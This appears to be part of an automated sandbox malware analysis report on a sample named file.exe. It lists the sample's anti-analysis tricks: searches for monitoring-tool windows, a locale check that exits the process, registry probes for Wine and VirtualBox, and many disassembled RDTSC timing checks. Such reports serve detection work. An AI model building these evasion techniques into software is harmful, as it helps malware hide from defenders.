Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_006D9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58561

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F3DF second address: A9F3FD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F176910EABEh 0x00000008 jp 00007F176910EAB6h 0x0000000e pushad 0x0000000f popad 0x00000010 jbe 00007F176910EAB8h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F3FD second address: A9F41A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F1768C9AD31h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F41A second address: A9F427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F176910EABEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F550 second address: A9F55C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F1768C9AD26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F55C second address: A9F560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F9CB second address: A9F9D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F9D3 second address: A9F9F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F176910EAC7h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FB27 second address: A9FB2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FB2B second address: A9FB64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F176910EABAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F176910EAC2h 0x00000010 push eax 0x00000011 jo 00007F176910EAB6h 0x00000017 jnc 00007F176910EAB6h 0x0000001d pop eax 0x0000001e pushad 0x0000001f js 00007F176910EAB6h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FB64 second address: A9FB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1768C9AD26h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FB77 second address: A9FB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FB7B second address: A9FB7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FB7F second address: A9FBA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F176910EAC3h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FD66 second address: A9FD74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F1768C9AD26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FD74 second address: A9FD78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2A5F second address: AA2A7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1768C9AD37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2B11 second address: AA2B66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176910EAC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D375Eh], edi 0x00000010 mov esi, dword ptr [ebp+122D2BC4h] 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 jmp 00007F176910EAC4h 0x0000001e pop edi 0x0000001f push 26512881h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F176910EAC0h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2B66 second address: AA2BAE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1768C9AD28h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 26512801h 0x00000013 mov di, 1121h 0x00000017 push 00000003h 0x00000019 mov esi, 6C46ABA6h 0x0000001e push 00000000h 0x00000020 pushad 0x00000021 mov bh, dl 0x00000023 adc di, 64F1h 0x00000028 popad 0x00000029 push 00000003h 0x0000002b push 82C8D221h 0x00000030 pushad 0x00000031 push ebx 0x00000032 jnl 00007F1768C9AD26h 0x00000038 pop ebx 0x00000039 pushad 0x0000003a jmp 00007F1768C9AD2Ch 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2BAE second address: AA2C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xor dword ptr [esp], 42C8D221h 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F176910EAB8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov esi, dword ptr [ebp+122D189Dh] 0x0000002d lea ebx, dword ptr [ebp+1245499Fh] 0x00000033 call 00007F176910EABDh 0x00000038 xor dword ptr [ebp+122D26DBh], eax 0x0000003e pop ecx 0x0000003f xchg eax, ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2C07 second address: AA2C11 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1768C9AD26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2CED second address: AA2CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2CF4 second address: AA2CFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2CFA second address: AA2D55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176910EAC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnl 00007F176910EAC8h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push edi 0x00000018 push esi 0x00000019 jmp 00007F176910EABBh 0x0000001e pop esi 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jl 00007F176910EABCh 0x0000002c js 00007F176910EAB6h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2D55 second address: AA2DD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 jnp 00007F1768C9AD2Ch 0x0000000f push 00000003h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F1768C9AD28h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D3390h], edx 0x00000033 push 00000003h 0x00000035 mov edi, dword ptr [ebp+122D36B0h] 0x0000003b call 00007F1768C9AD29h 0x00000040 jbe 00007F1768C9AD30h 0x00000046 pushad 0x00000047 jno 00007F1768C9AD26h 0x0000004d pushad 0x0000004e popad 0x0000004f popad 0x00000050 push eax 0x00000051 pushad 0x00000052 jmp 00007F1768C9AD37h 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2DD7 second address: AA2DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2DDB second address: AA2DF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1768C9AD30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2DF9 second address: AA2E32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F176910EAB6h 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 popad 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 je 00007F176910EAB8h 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F176910EAC1h 0x00000021 popad 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 push edi 0x0000002a pop edi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2E32 second address: AA2E37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2F44 second address: AA2F48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC379C second address: AC37A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC37A0 second address: AC37AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99475 second address: A99495 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1768C9AD26h 0x00000008 jmp 00007F1768C9AD32h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99495 second address: A9949B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9949B second address: A994AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1768C9AD2Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC16DF second address: AC16E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC16E3 second address: AC16EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1A22 second address: AC1A2E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1CF5 second address: AC1D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F1768C9AD26h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1D02 second address: AC1D08 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1E53 second address: AC1E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F1768C9AD28h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1E64 second address: AC1E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1E6A second address: AC1E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1F88 second address: AC1FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 jno 00007F176910EABCh 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F176910EAC1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC24F1 second address: AC250A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1768C9AD2Ch 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC250A second address: AC251E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d jg 00007F176910EAB6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8AD9 second address: AB8AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1768C9AD26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8AE5 second address: AB8AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90E14 second address: A90E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1768C9AD2Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90E26 second address: A90E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90E32 second address: A90E36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90E36 second address: A90E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3056 second address: AC305A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC333B second address: AC3355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F176910EAC2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA488 second address: ACA48C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA48C second address: ACA490 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA490 second address: ACA499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA5C6 second address: ACA5CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA5CA second address: ACA5D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC95BF second address: AC95CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC95CA second address: AC95CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA6C4 second address: ACA6E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176910EAC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA6E2 second address: ACA6E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC862 second address: ACC87B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F176910EAB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F176910EABFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0341 second address: AD0345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD04B7 second address: AD04D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F176910EAC7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD04D8 second address: AD04DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD04DC second address: AD04F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F176910EAC4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0997 second address: AD099B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD099B second address: AD09B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F176910EABEh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0B0F second address: AD0B1E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0B1E second address: AD0B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0B22 second address: AD0B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 ja 00007F1768C9AD26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F1768C9AD26h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0B36 second address: AD0B5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176910EABFh 0x00000007 jg 00007F176910EAB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F176910EABDh 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0B5F second address: AD0B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD34EB second address: AD3509 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 61AA8B7Ah 0x0000000f sub edi, 1F7BE117h 0x00000015 push F4CA23E2h 0x0000001a push ecx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD365C second address: AD3660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD37F5 second address: AD37F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD4718 second address: AD471E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD65FD second address: AD6603 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6603 second address: AD6607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6E16 second address: AD6E3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176910EAC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD77E0 second address: AD77EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F1768C9AD26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD79F1 second address: AD7A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F176910EAB6h 0x0000000a popad 0x0000000b pop edx 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F176910EAB8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D1A56h] 0x0000002d jns 00007F176910EABBh 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007F176910EAB8h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f add dword ptr [ebp+122D339Dh], esi 0x00000055 mov esi, dword ptr [ebp+122D2B74h] 0x0000005b push 00000000h 0x0000005d jp 00007F176910EABCh 0x00000063 mov esi, dword ptr [ebp+122D2B0Ch] 0x00000069 xchg eax, ebx 0x0000006a pushad 0x0000006b jng 00007F176910EAB8h 0x00000071 push edi 0x00000072 pop edi 0x00000073 pushad 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD84D2 second address: AD84D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
